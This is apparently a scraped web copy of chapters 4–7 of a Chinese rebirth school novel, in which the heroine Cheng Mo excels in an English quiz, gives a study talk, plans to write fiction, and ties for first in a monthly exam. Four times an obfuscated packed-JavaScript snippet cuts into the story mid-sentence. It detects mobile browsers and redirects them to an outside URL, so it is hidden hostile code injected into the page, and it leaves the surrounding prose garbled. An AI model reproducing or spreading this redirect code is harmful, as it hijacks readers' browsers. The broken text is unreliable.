作为走读生，程茉早上常常到得迟，不上晚自习就导致时不时会错过老师的作业讲解。大概也是因此，程茉能隐隐感觉到班主任黄仁和其他某些老师对她的态度有些微妙的不一样，也常常为了这点“不一样”而感到难过。 但现在，程茉反而庆幸自己不用住校，这意味着她有了更多的自由时间。 吃完晚饭洗漱完，程茉就立马又坐在了书桌前。今天的作业程茉早已在学校的自修课上完成，现在她要做的，是开启自己赚钱计划的第一步。 说到赚钱，程茉的第一反应就是写小说。这也是上辈子她面对糟心的工作想辞职时，无数次涌现出来的想法。 尤其现在这个时代，正是写小说的最好时机。 程茉翻了下自己之前手写的小说，又在本子上整理了自己的思路，决定了接下来第一本小说的方向。 如今小说流行的题材还是虐身虐心文和青春疼痛文学为主，但现在的程茉不想写这些。 翻开新的一页，程茉在第一行写下了标题：《穿成霸王心尖宠》。 程茉还是选择了自己借给梁晴那本手写小说的题材，但剧情基本上是完全推翻了，去掉失忆替身误会梗，加上扮猪吃虎，打脸逆袭和团宠属性，程茉手下的大纲越写越顺。 等到母亲来催睡觉，程茉才惊觉自己在书桌前坐了快三个小时的身体有些酸痛。 躺在床上程茉忍不住想，还是要有电脑才方便啊，但父母不会允许她自己一个人去网吧的。 上一世她最盼着姐姐程兰放假回家了，其中原因之一就是姐姐回来的话，有时会带她去网吧玩。 通常姐姐是在和朋友聊天或玩游戏，程茉就在一边抄歌词。 直到初二那年姐姐从学校附近的二手市场低价买了一台台式电脑搬回来，程茉才淡去对网吧的向往。 有没有可能让姐姐提前把电脑买回来呢？那样效率就能提高好多了。 程茉带着满怀希冀的畅想不知不觉间就进入了梦乡。 “这节课进行第三单元测试，现在马上把书都收进抽屉里去。” 拿着一叠灰白试卷的江老师铃声还没响就走进了教室，紧接着命令更是引起了学生们的一片哀嚎。 程茉也有点好奇这个时候的试卷难度，整理好桌面的物品拿出笔等着试卷发下来。 试卷拿到手，程茉没有马上动笔，先大致浏览了一遍，熟悉了下题型。 密密麻麻的两页大纸，题量看起来还不小，但没有听力，估计是设备有限。 真正开始做起来，程茉便忍不住无数次在心里感叹：太简单了！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535885|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不到二十分钟，程茉就完成了整张试卷。要不是作文她检查了好一会儿有没有不小心使用超纲词汇，估计还能更快。 “写完了？” 程茉耳边传来江老师的轻声询问。 程茉点了点头，随后试卷被江老师拿起，只留给她一句：“把练习册拿出来完成14-15两页。” 这种不太正式的班级测试，老师确实是经常会在监考的时候顺便检查学生的做题情况的。程茉想了想自己应该没有太出格的答案，还故意假装粗心写错了一个单词，便定下心来开始写作业。 倒是周边注意到这边情况的几个学生忍不住倒吸了一口凉气，一边在心里感叹程茉的恐怖，一边手下的笔又加快了几分。 收完试卷，对于几个学生“太难了”的叫唤，江老师是充耳不闻，只对程茉叮嘱道： “程茉，你等会来下我办公室。” 程茉有点奇怪，但起身的动作倒没犹豫。 办公室没有其他人，江老师挑出那张批改过的试卷，脸上带着温柔的笑意，注视着程茉问道： “程茉，老师知道你最近很认真，进步也很大，但真的没想到你已经这么厉害了。可以和老师分享一下你的学习经验吗？” 程茉看了眼上面醒目的红色数字“99”，心里了然，斟酌着回答： “上次期末考后我姐姐看到了我的英语成绩，说太差了，寒假就一直在盯着我做试卷记单词读课文。这个学期我就感觉好像英语课渐渐能听懂一些了……” “哦？你姐姐？她是不是也是这个学校毕业的啊？” “嗯，她叫程兰，您之前还教过她一年的。她现在在上大二。” 程茉记得姐姐知道自己英语老师是江倩后，曾跟她抱怨过，可惜那么好的江老师因为生小孩，初二就没教她了，还反复叮嘱程茉上课要用心。 也是因为这个缘故，曾经的程茉反而更害怕面对江老师，听不懂也不敢去问，生怕英语成绩那么差的自己给姐姐丢人。 “我记得她的，你姐姐以前也很厉害的，能力也强，还是班长呢。”江倩笑得更温柔了，“我就说你之前只是还没开窍而已嘛！” 江倩又反复看了下那张堪称完美的试卷，在全篇工整的字迹和逻辑结构清晰的作文面前，那点小粗心根本不值一提。 “程茉啊，这次试卷讲评，老师想让你在班上分享一下自己的进步经历和学习方法可以吗？也激励一下其他同学嘛。” 看着笑眯眯的江老师，程茉拒绝的话终究还是没说出口。 江老师的确是曾经的程茉害怕面对的，但也确实是她最喜欢的一位老师。 接下这个任务之后，程茉不得不先暂缓自己的写作大业，拿出一个晚上来专门准备自己的发言稿。 第二天的英语课，江老师分发完试卷报了所有人的分数后，又对试卷难度和这次班级成绩进行了一个简单的分析，接着就将程茉拉出来作为典型，从上课表现，早读状态，作业质量等进行了全方面的夸赞。 “……那么，接下来，我们就好好听一下程茉同学究竟是怎么做到进步这么大的。” 5. 第 5 章 在大家热烈的掌声中，程茉快速地走上了讲台。 程茉能感觉到自己略微加快的心跳，但看着讲台下一双双好奇而期待的眼睛，她的心底又涌起了一股奇异的安定。 于是，程茉的声音慢慢变得越来越平稳。 “大家好，正如你们所看到的那样，我的英语成绩曾经也不太好，有两次甚至都没及格。和大部分同学一样，之前的我也很害怕英语考试，害怕被叫到回答问题，甚至害怕上英语课……” “……于是，经过一个寒假的听课文录音，重默七上全册单词，反复做题，这个学期的某一天，我忽然发现我好像能听懂老师在讲什么了。练习册上的文章对我而言也不再是天书了……” 讲台上的女孩侃侃而谈，早春的阳光透过窗户洒在她身上，仿佛为她镀上了一层自信而迷人的圣光。 教室里安静地出奇，李颂只能听见程茉清灵的声音不疾不徐地讲述着，仿佛起舞的音符，一个一个跳进他的耳朵，又顺着他越来越快的心跳飞出胸腔。 李颂好像什么也没听进去，直到英语老师见缝插针的一句“愣着干嘛，记笔记啊！”如炸雷般在耳边响起。 他晃过神来，慌忙拿起桌上的笔和本子。 “……英语学习是一个靠量变累积最后形成质变的过程。它不是一蹴而就立马见效的，但你付出的每一点努力都是有意义的。所以，根据我自己的经历，我总结了以下几点英语学习方法：第一是要多读……” “……最后，我想跟大家说，种一棵树最好的时间是十年前，其次是现在。只要你愿意，从现在开始努力，一切就都有希望。谢谢大家！” 掌声雷动下，程茉鞠躬，缓缓走回自己的座位。 “程茉，你真厉害啊！快让我看看你的试卷学习一下！”江老师刚走出教室，程茉的肩膀就被斜后方的周若玥迫不及待地拍了一下。 于是，仿佛信号一般，程茉身边立马又呼啦啦地围上了一群女孩。 夹杂其中的，还有一句略显突兀的男声：“程茉，可以问下你D篇阅读的最后一题为什么不能选B吗？” 程茉一一回应完女孩们的热情，循声望过去，是她们班的班长，许少杰，也是徐逸最好的朋友。 大部分情况下，许少杰都稳坐班级第一的宝座，也是班主任最信任的得力助手。偏胖的体型加上不苟言笑的性格让他在发火时还是很有威慑力的。 前世每次程茉在送徐逸礼物时，都会捎带上许少杰的一份，碰上圣诞节和生日时还会专门手写祝福贺卡。 或许是知道自己只是被爱屋及乌的对象，许少杰基本从不回应，因而程茉和他的交集实际上很少。 程茉略微回忆了一下那道题，然后拿过试卷划出了关键信息所在的句子，又简单的解释了一下如何排除干扰项。 “嗯，是我理解错了这个短语的意思，谢谢。” 许少杰离开后，程茉又在方慧慧的央求下，开始为她一道道分析错题。模模糊糊中，她听到了不远处传来的徐逸的声音：“那道题怎么说？”接着就是许少杰低沉的讲解。 “程茉，你真厉害啊！你讲的我都听懂了耶！”方慧慧一边用手中的多色圆珠笔在试卷上工工整整地订正错题，一边惊喜地感叹。 程茉忍不住被她认真又可爱的样子逗乐，一边用手指点出她刚刚粗心写错的字母。 至于那两道曾被程茉的耳朵日复一日地刻意捕捉，以至于标成高亮的声音，仿佛忽然之间，就与其他嘈杂的吵闹声融为了一体，再难令她回首。 下午第一节语文课，程茉正专心致志写着朱老师布置的作文时，右手被轻轻推了一下。 程茉疑惑地看向方慧慧，在她的眼神示意下又低头看向桌面不知什么时候被推过来的草稿本，横七竖八的算式中藏着一行圆乎乎的小字：“下节电脑课别忘了！等会铃一响我们就赶紧跑，占座位！！！” 程茉想起学校电脑机房那不知道传了几代功能参差不齐的计算机，轻轻点了下头，又赶紧奋笔疾书给手上的作文收尾。 果然，铃声一响，朱老师下课的“下”刚出口，教室里就立马想起一阵桌椅移动声。 方慧慧立马拉起程茉的手狂奔，占着座位在第二排的优势，两人幸运地跑在队伍的前列。 机房在另一栋楼，程茉被方慧慧拉着，跑得上气不接下气，终于赶在大部队前面坐在了两台大屁股电脑前面。 “赶紧联网啊程茉，等会大家都进来了就要卡死了！” 程茉还在喘气平复心跳，就看着方慧慧恨铁不成钢般地开始操作起她面前的电脑来。 循着方慧慧的目光和动作，程茉这才注意到黑板上粉笔字写着的一串字母数字组合，是联网的地址。 “好啦！快登上Q/Q！”方慧慧又转头去打开自己电脑桌面上的企鹅图标，“你的Q/Q号是多少，我加你。” 面对这台加载速度过于迟缓的电脑，程茉的动作多少显得有些生疏。 好在程茉的Q/Q号一直没有换过，是小学毕业那年姐姐第一次带她去网吧时，送给她的一个小号。 程茉把那串早就烂熟于心的9位数号码报给方慧慧，过了一会儿就收到了她的申请，混在一堆消息提示音里滴滴作响。 也就是好友列表的人并不多，程茉一一点开，除了姐姐和四五个小学同学，剩下的就全是班上关系比较好的同学。 程茉先通过了方慧慧的申请，被她的火星文ID闪了一下眼，然后就发现自己的也不遑多让。 /毕业前奏の那一曲离殇?/，头像是一个双手挡眼流泪的长发女孩。 程茉理解自己小学毕业舍不得朋友的心情，但对于这串令人头皮发麻的字符，她只能表示不太想看第二眼。 于是程茉立马先打开资料卡，给自己换了个纯色头像和后来常用的网名，又删掉个性签名，然后才慢慢查看起刚刚那些一直响个不停的消息来。 大部分消息都是好几天前甚至几个星期前的了，毕竟程茉能用电脑的机会实在有限。她简单地一一回复了之后，看到姐姐的头像亮着，便主动给她发了条消息。 Jasmine:【姐姐，你什么时候回来？】 姐姐也回复得很快。 蓝花楹：【在上电脑课吗？看下个月有没有时间吧。】 程茉发了个肯定回复后又斟酌着跟姐姐说了自己想要试试看写小说的打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535886|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，并试探着问了句有没有可能让父母买一台电脑放家里。 看起来很不合理的要求，姐姐却并没有直接反对，而是问道：【什么类型的小说？你先跟我说说看。】 这是程茉意料之中的反应。 姐姐从来不会强制干涉或随意否定她的想法或决定，前世程茉的手写小说也都给姐姐看过，还得到了她的鼓励和称赞。 程茉记得自己第一次看小说，是梁晴推荐给她的一本网王同人，她太过入迷，甚至忍不住借回家来放在作业底下偷偷看，然后就被姐姐抓了个正着。 因为父亲一直都对小说深恶痛绝，程家是禁止小说出现的。程茉不知道听父亲拿姐姐看小说的事作为反面例子反反复复说过多少次，所以那一刻她害怕极了。 但姐姐当时只是把书拿过去看了眼，又还给了她，叮嘱了一句以后别拿回家看，以及不要影响学习就过去了。 程茉知道，在姐姐这里，她什么都可以说。 趁还有时间，程茉快速地打了一大段文字简单地介绍了一下她之前构思的故事大纲。 那边过了好一会儿才回复：【看起来还挺有意思的，可以试试哦，电脑我想想办法。】 Jasmine:【好的！谢谢姐姐！】 蓝花楹：【好好练打字哦。】 程茉自然答应，又关心了几句姐姐在大学的生活，当然，得到的回复自然是一切都好。 怎么会一切都好呢？ 程茉自己也是靠勤工俭学念完的大学，即便那时她还有姐姐的偶尔资助，依然会在某些时刻感到孤独绝望。 独自一个人承担了一切的姐姐，又怎么可能一切都好呢。 程茉忍下心底的酸涩，赶在下课铃响之前最后发了句关心和道别。 “你刚刚在和谁聊天啊？打那么多字！对哦，程茉你打字可真快！”回教室的路上，方慧慧挽着程茉的胳膊，好奇地问道。 “和我姐姐。”程茉深吸口气，用尽量轻松的语气回答。 “有姐姐真好啊！”方慧慧羡慕地感叹，“不像我，只有一个烦人的弟弟。程茉，要是你是我的姐姐就好了。” 程茉被她逗笑了，“我妹妹还在上小学二年级哦，你要是愿意晚生几年的话说不定还有可能。” “也不是不行，我愿意为了你再去当小学生。”方慧慧说着说着又忍不住叹了口气，“不行的话，要是能一直和你做同桌也好啊！可是等期中考试后，我肯定就没有这个机会了……” 方慧慧的成绩不太好，也就只有前半个学期能靠不太高的个子坐在前排，等期中后按她现在的成绩选座位，留给她的估计就基本只有靠边的和后排的位置了。 “别担心，还有一个月呢，我们一起努力，都有可能的啊。”程茉安抚地捏了捏她的手心。 “程茉，你别这么好啊，我更舍不得你了。”方慧慧抱紧了程茉的胳膊，“你这么厉害又这么努力，这次期中考试肯定会考第一的，到时就有更多人想坐你旁边了……” 期中考试第一名啊……那的确是程茉给自己定的第一个小目标。但在那之前，还有一次即将到来的月考呢，程茉也很想看看，自己这次能改变多少呢。 6. 第 6 章 “程茉，记得带上钱，等会儿体育课自由活动，我们去小卖部买吃的吧。”一下课方慧慧就迫不及待地从书包里翻出零花钱对程茉叮嘱道。 程茉这才想起从前她们在学校最大的乐趣之一——体育课。这个时候的体育课其实基本都是自由活动，一个学期正常上课不会超过三节，最多就是跑两圈就解散。 而学校的小卖部往往是大家自由活动时的聚集地，尤其是女孩子们，最爱围在电视机前，一边吃着零食，一边和好朋友叽叽喳喳分享八卦和少女心事。 程茉并没有带钱，事实上她也基本没有零花钱，便摇了摇头说：“我就不买了，到时候陪你一起去就行。” 方慧慧有点失望，但又突然想到了班主任曾在班上说过程茉家的情况，便又立刻换上轻快地声音：“好的！我要多买两包，我们可以一起分着吃！” 体育老师是个略显严肃的中年男人，但今天他并没有像往常一样直接让大家自由活动，而是叫两个男同学去他办公室搬了一堆跳绳。 “这节课我们练习跳绳，这可是你们中考的必考项目，都抓紧练起来，至少要跳120个以上！尤其是上次站着不动的那两个人，我等会儿就盯着你们！” 话音刚落，程茉就发现老师的目光落在了自己身上。她这才想起，体育老师第一次让大家跳绳的时候，自己因为不会跳，硬生生在原地站了1分钟。当时和她一起站着的，还有一个男生。 老师的话刚说完，同学们就各自去领跳绳了，只有一个个子矮小的男生站在原地没动。程茉对他有点印象，因为这个男生也是徐逸的朋友之一，还记得他的名字叫赵勇，是个理科成绩挺不错的男孩子，也是前世7班唯四考上市一中的学生。 已经顺利通过中考的程茉，现在当然不会再害怕跳绳这件事。她随着大部队走向前，随意捡起一根跳绳，在自己的位置站好，开始按照老师的要求练习起来 程茉记得自己前世是在初三那一年才开始练习跳绳的。为了中考，她每天回家都要跳上至少半个小时，从一开始一点不会，到慢慢能跳几个十几个几十个，最终一分钟能跳到要求的120个以上。 但重生前，程茉已经有好几年没再碰过跳绳。虽然工作后为了减肥有拾起过，但也是三分钟热度，练了几天就抛下了。此刻再拿起跳绳，多少还是有些生疏。 程茉跳得有些慢，中间还断断续续踩到绳子好几次，但再没有了前世那种跳不好会被所有人笑话的羞赧。她旁若无人地又从头开始，一个一个地跳着。 体育老师见她认真练习，便没再多说什么。转头注意到唯一一个站着不动的赵勇，立刻气势汹汹地走过去喝道：“把绳子捡起来，赶紧跳！” 迫于压力，赵勇终究没有独自对抗的勇气，他拿起绳子，滑稽地跳了起来。 大约练习20分钟后，程茉慢慢找到了点感觉，基本能保持一分钟100个以上且不磕绊。 体育老师看了看手表，终于宣布自由活动。大家欢呼着，三五成群地跑进小卖部。 方慧慧跑过来，喘着气说：“哎呀，累死我了！程茉，你刚刚跳得还挺好的，我还以为你这次还是不跳呢！” “上次是因为不会，后来我在家偷偷练习了，才不要继续丢脸呢。” 方慧慧点点头，带着点后怕：“也是，刚刚刘老师看起来好凶，吓死人了。”紧接着又兴奋地夸赞：“不过程茉，你可太棒了！果然你做什么都能做好。” 接着，她就拉着程茉的胳膊催促：“快走快走，我们赶紧去买吃的，跳了这么久我都饿了。” 两人走进小卖部，里面已经有好几个同学，不少女生正围在货柜前挑零食。 这小卖部其实就是一个位于教师宿舍一楼的房间，小小的屋子里摆着两个大货架和透明货柜，除了零食还有些文具。旁边还有一个香肠机，上面几根金黄焦脆的火腿肠正在旋转着。 程茉一一扫过货架，尘封的记忆慢慢翻涌。工作离家后，她偶尔会回忆起自己的少女时代，也会从网上买一堆当年的零食，却再也吃不出曾经的美味。 方慧慧径直奔向零食柜，很快拿着两包辣条和一袋一根葱跑回程茉身边，笑着问：“你想吃哪个，程茉？” 程茉摆了摆手：“我都可以，你给我分一点点就行，我吃不了太多。” 毕竟此刻她真的回到了少女时代，就更不用再靠零食聊以慰藉了。 方慧慧于是打开一包辣条递给程茉，程茉看着油花四溢的辣条，无奈地拿了一根。 味道其实不错，只是后来尝过太多美食，这些简单的香精调味面制食品已很难勾起她强烈的兴趣。 “程茉，你在这里呀！快来，我买了你最喜欢的小浣熊，给你一包！”旁边的陈晓萱举着两包零食朝程茉吆喝。 再看到程茉身边的方慧慧，陈晓萱语气又带了点委屈：“你最近都不第一时间找我了，果然有了新人就抛旧爱啊。” 方慧慧被说得不知所措，手里的辣条顿了一下。程茉轻轻拍了拍她的胳膊安抚，又转向陈晓萱：“别瞎说，什么新人旧爱，我这是雨露均沾。” 陈晓萱的委屈立刻散了，忍不住笑着捶了程茉一下：“好呀，你这个花心大萝卜！” 又故意皱起眉，带着点撒娇补充：“我不管，我必须排第一！毕竟我们才是能分享秘密的人。” 说秘密时她特意加重语调，还朝程茉挤了挤眼睛。 程茉无奈又郑重地说：“那已经是过去的秘密了，以后别再拿这个开玩笑了。” 陈晓萱的笑意瞬间僵住，愣了两秒才放轻声音问：“什么意思？你放弃啦？” 方慧慧听得有些局促，手指无意识捏着辣条包装袋边角，不知道该不该走开。其实她也隐隐约约听说过程茉暗恋徐逸的事——毕竟有的时候陈晓萱的刻意动作和大嗓门让人想不注意都难。 但作为同桌这么久，程茉从没跟她说过这件事。方慧慧也不是喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535887|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢窥探别人心事的人，此刻更觉得自己不该待在这里。 程茉却没在意，只迎着陈晓萱的目光，语气依旧郑重：“对，以后都不要再说了，也别起哄了。” 陈晓萱心里还有点不太相信，但程茉的语气和表情都透着不容置疑的严肃，让她忍不住开始怀疑自己的判断。这几天程茉确实没再让她帮忙给徐逸送东西传小卡片，再加上这段时间，程茉已经被好几个老师点名表扬学习进步快。陈晓萱心里不免猜测：程茉这是要断情绝爱，专心好好学习了？ 想到这一点，陈晓萱收起犹疑，拍了拍程茉的肩膀，爽快地说：“好吧好吧，我都听你的！反正徐逸也没什么好喜欢的，我们家茉茉这么优秀，本来就配得上更好的！”说着又凑近些，把手上的干脆面塞到程茉手里：“不过下次你再看上谁，一定要第一个跟我说，我还要当你的军师哦！” 程茉被她的热情搞得有点好气又好笑，无奈地摆摆手：“你别再给我弄得人尽皆知就好。要下课了，我们赶紧去集合吧。” 方慧慧也跟着抿嘴笑了起来，连忙跟上两人的脚步，几个人一起朝外面走去。 自从班主任宣布了下周月考的消息之后，程茉就连课间的10分钟也利用上了。毕竟她虽然对自己这段时间的学习还算有信心，但好歹过了这么长时间，语文的课文、古诗，历史的知识点都要重新记忆，还有政治地理要背的内容也都不少。 至于数学，程茉已经基本上将七年级上册的内容从头过了一遍，课本上的例题和基础题基本都没难度，但想到每次试卷上最后那道大题，她心里多少还是有点没底。 而每天晚上放学回家之后，程茉还要抽出一点时间完成自己的小说初稿。所以对于她而言，每一分每一秒都显得尤为珍贵，留给和其他同学交流的时间也就变少了许多。 为此，陈晓萱和梁晴都来找她抱怨过：一个怪她不找自己玩，另一个则缠着她赶紧把小说后面的内容写下去。 程茉当然没有把自己重新写的小说拿给梁晴看，毕竟新内容和之前的版本已经算得上是两模两样了。她更不想以后被人发现自己在网上的作者马甲，便借着要专心准备月考的理由，一一应付掉了。 就在程茉争分夺秒的复习中，月考如期而至。 最后一门考完走出试场，即便是前世已经历过无数次比这更大型更重要的考试，程茉还是油然的感到一阵轻松。 这是程茉重生后交给自己的第一张完整的答卷，而值得庆幸的是，它比她想象的要简单顺利得多。 更令程茉高兴的是，等她回到家后，就从母亲口中得知了姐姐这个周末会回来的消息。 程茉立马求着母亲又给姐姐打了一通电话，在听到姐姐笑着说已经买好了电脑这周末就带回来后，她更是激动地差点没跳起来，以至于晚上洗澡都忍不住哼起歌来。 “二姐她果然疯了……”路过洗手间的程莉听到里面传出来的奇怪歌声，摇了摇头赶紧走开了。 7. 第 7 章 月考成绩出来得很快，毕竟这是本学期的第一次正式考试，老师比学生更想尽快看到成绩，看看这群人经过寒假的放养，这一个月状态调整得如何，也好再顺势敲打一番。 于是，各科老师们加班加点地批改完试卷，马上就开始了统计成绩的工作。 在707班学生看到自己的成绩之前，教师办公室里面一大早就已经先展开了一轮激烈的讨论。 “老黄，快点看看第一名是谁？” 班主任黄仁刚把各科成绩汇总到一起，计算完总分排好名，旁边的语文老师朱建华就已经迫不及待地凑上来了。 黄仁还没说话，旁边的生物老师邓强就立马自信满满地抢答道：“这还用说，肯定是许少杰啊！这个小胖子人踏实又肯用功，脑子也好使。” 坐他后面的地理老师王鹏程喝了口茶，接上：“要么就是徐逸吧，徐逸这个人也很聪明。说起来我们七班的成绩还是得看男娃子啊，小姑娘都不太行呢。” 英语老师江倩站在门口，忍不住插入一句：“我看未必呢，程茉这段时间就很用功啊，上课听得可认真了。我这边英语进步可是很大的，上次小测她可是考了99分呢。” “认真嘛，这段时间倒是确实挺认真的。但我估计有点吃力呐，毕竟基础在那里放着。从上个学期来看，这个女孩子的专注度也不高，心思没有完全放在学习上啊。” 又想到程茉家那全校出名的情况——穷还非要生，餐费都交不起，邓强又忍不住摇了摇头。 朱建华却忽然哈哈大笑着喊道：“哈哈，邓强，你可说错了，赶紧来看，程茉这次可是让你大吃一惊呢！”他得意洋洋地朝邓强挥了挥手里的成绩单，“我早说过很多次了，程茉这小姑娘有灵气着呢！” 被直接反驳的邓强有点不满，走上前去接过成绩单。 映入眼帘第一排的程茉这个名字，却让他什么也说不出口。他又仔细看了眼后面各科的分数和总成绩：语文98分、数学98分、英语100分、政治98分、历史97分、生物100分、地理98分，总分689分。 这个成绩可以说是非常漂亮了，更不要说他教的科目人家还给考了满分。 邓强张了张嘴，想说点什么，就在这时，他的眼睛瞄到了下排的许少杰——一样的689分，只不过许少杰语文92分、英语98分、历史99分，数学、政治、生物、地理都是满分。 他便抬起头来，对着朱建华笑道：“老朱啊，我可没说错啊，许少杰也是第一呀，他数学还是满分呢！” 只是学校里排成绩的方式一向是总分一致的话，谁语文成绩更高谁排在前面而已。但在邓强看来，理科好才更代表着后劲足，他觉得许少杰还是要比程茉有优势得多。 朱建华不服气地哼了一声：“哼，就像你之前所说的那样，程茉之前的基础可不太好啊。她也就是这个学期才努力了一个月而已，就有这样的成绩。我看呀，程茉同学的未来才是不可限量。” 黄仁见状，连忙满面红光地打圆场：“哈哈哈，大家都有功劳！不管是程茉还是许少杰，他们的成绩可都离不开我们每一位科任老师啊。我也相信，在我们七班各位大佬的努力之下，我们七班的成绩肯定会越来越好的。” 各位科任老师心里各有计较，但黄仁是真的高兴。毕竟七班刚分到他手里的时候，算得上是个差班，没想到这次月考，全校总共8个班级，他们班全校前十中却占了三个。许少杰就不用说了，一直是稳定的全校前五；徐逸也一样，一般不会掉出前十，优生这块他们班本来就还不错。 但这次又多了一个程茉，和许少杰并列班级第一、全校第三的程茉，完全算得上是能考一中的好苗子了。 除此之外，还有个周若玥，就卡在全校第11名，差一点就能进前十，这样的整体成绩，他可要在领导那里大长脸面了。 黄仁龇着大牙忍不住乐。又想到上个月他看不惯早读前教室里七零八落的空座位，提出了早到早占座的规则，程茉还差点和他吵起来。当时黄仁还有点诧异呢，这个安静的女学生原来性子还挺倔。 说不高兴也有的，但现在看来，程茉好像就是从那时开始发愤图强的，黄仁忍不住得意地想看来自己的点子还是很有用的嘛！ 邓强还想说什么，但毕竟班主任都这么说了，又碍于朱建华的年龄和地位，最终只是闷声不吭地回到了自己的位置上，开始备课。 政治老师何艺莲和历史老师张梦灵对着成绩单却开始皱眉，两人拿着成绩单凑在一起小声讨论，最后达成了共识：“不行啊，程茉这个同学，一看就是学文科的料子，语文、英语那么突出，怎么我们这两科就没拿100分呢？看来还是不够重视，以后得多盯着她点。” 成绩单在各科任老师手里转了一圈，江倩终于看到了让自己满意的结果。她早知道程茉这次英语一定会有进步，却没料到她其他科目也学得这么好。想到程茉平日里的努力和过人的资质，她怎么能不为这个孩子感到高兴？ 拿起课本，转身往教室走去的江倩脸上带着藏不住的笑意。 出成绩的这一天往往是上不了正课的。基本上每个科任老师都是一样的流程：发试卷、报成绩，把全班批得狗血淋头，之后再语气一换，温和勉励几句。 而对于学生而言，这一天可以算得上是惊心动魄。考得理想的，欢欣鼓舞；发挥失常的，懊恼顿足。唯一让所有人情绪统一的，大概就是听到程茉的成绩时的惊异了。几乎每一科老师都在表扬她，语文、英语的优秀一如往常，其他几科的进步更是飞速。 其实这个成绩在程茉的预料之中，但说不高兴是假的。看到自己时隔多年再面对初中学习任务，还能找回曾经的记忆与思维，重拾年轻时的学习状态，程茉打心底里觉得开心。 程茉本以为自己作为一个成年人，不会再在意老师们的所谓表扬。可当她实实在在听到那些夸她聪明、努力、认真的词句，与那一双双带着赞赏、鼓励的目光相会时，心里还是会涌起一股股激流。 这些激流汇聚起来，又为程茉注入了一股莫大的力量，一股她从前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535888|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从未体会过的力量。这股力量让她不再害怕，面对其他同学的注目时，不再只想着躲闪；当许少杰、周若玥过来与她讨论题目时，她也不再因为害怕说错而支支吾吾。 这样的感觉令程茉有些迷恋，也让她更坚定地投入到接下来后面每一堂课的学习中。对于试卷上做错的题目，程茉还是有点懊恼的。毕竟这次她可没有藏拙，每一道错题都是确确实实的不懂，实实在在的失误。 于是大家带着或惊叹、或敬仰、或好奇的目光望过去时，就看到程茉依旧一脸平静淡定，坐得端端正正听老师讲解试卷，手上的笔一刻没有停过，认真记录着重点。 众人只能在心里发出“难怪……果然……要不说呢”的感叹，转而也跟着认真听讲起来。 最后一节班队课，在全班同学的期待中，黄仁拿着成绩单迈步走了进来。看到他的表情，所有人先松了一口气。 只见黄仁小小的眼睛已经眯成了一条缝，嘴角裂开的弧度里，两颗突出的大门牙变得格外显眼。 看来这次班级整体成绩应该还不错，至少不会再被班主任骂得狗血淋头了。 果然，黄仁没有马上公布个人成绩，反倒先扬着成绩单宣布了一个好消息：“这次咱们七班的总体成绩，排到全校第二了！我们还有三位同学进了全校前十！” 话音刚落，教室里瞬间响起一阵低呼，要知道从前七班成绩总在倒数徘徊，每次考试完都要被拉着脸的班主任大骂一顿。 接着，黄仁拿起成绩单，按照名次逐一念出大家的总分和校排名。当“程茉”两个字被第一个从他嘴里报出来时，大家心里的最后一块悬石也跟着落了地，脸上都露出了“果然如此”的神情。 其实早在上午、下午各门课的分数陆续出来后，大家就已经在私底下悄悄猜测：这次班级前列恐怕要发生变动了。 程茉原本的成绩本就不差，从没掉出过全班前十，尤其是语文成绩，更是她的强项。在大家眼里，她早就是公认的好学生。可即便如此，程茉这种“好学生”，和许少杰那样的好学生比起来，还是有着明显的不同的。 前者靠的是单科突出和认真努力，后者却是天赋全能，不可逾越的顶峰。 可如今，程茉已经能和许少杰并列第一了，这代表着班里又多了一个“不可逾越”。 更不要说程茉身上还有个更让人觉得“可怕”的地方。 仅仅一个月的时间，她就从上次期末考试的全班第六，一下子冲到了全班第一，这样的进步速度快得令人难以置信。 但另一方面，大家心里也都清楚，程茉这段时间的学习状态确实好得引人注意。再加上前段时间她在英语课上的分享，由此类推，好像这样大的进步也变得合理了许多。 “程茉，可以借我看一下你的试卷吗？” 放学前的自修课上正安静整理错题的程茉桌上忽然飞来了一张小纸条，上面是一行有些熟悉的隽秀字迹。 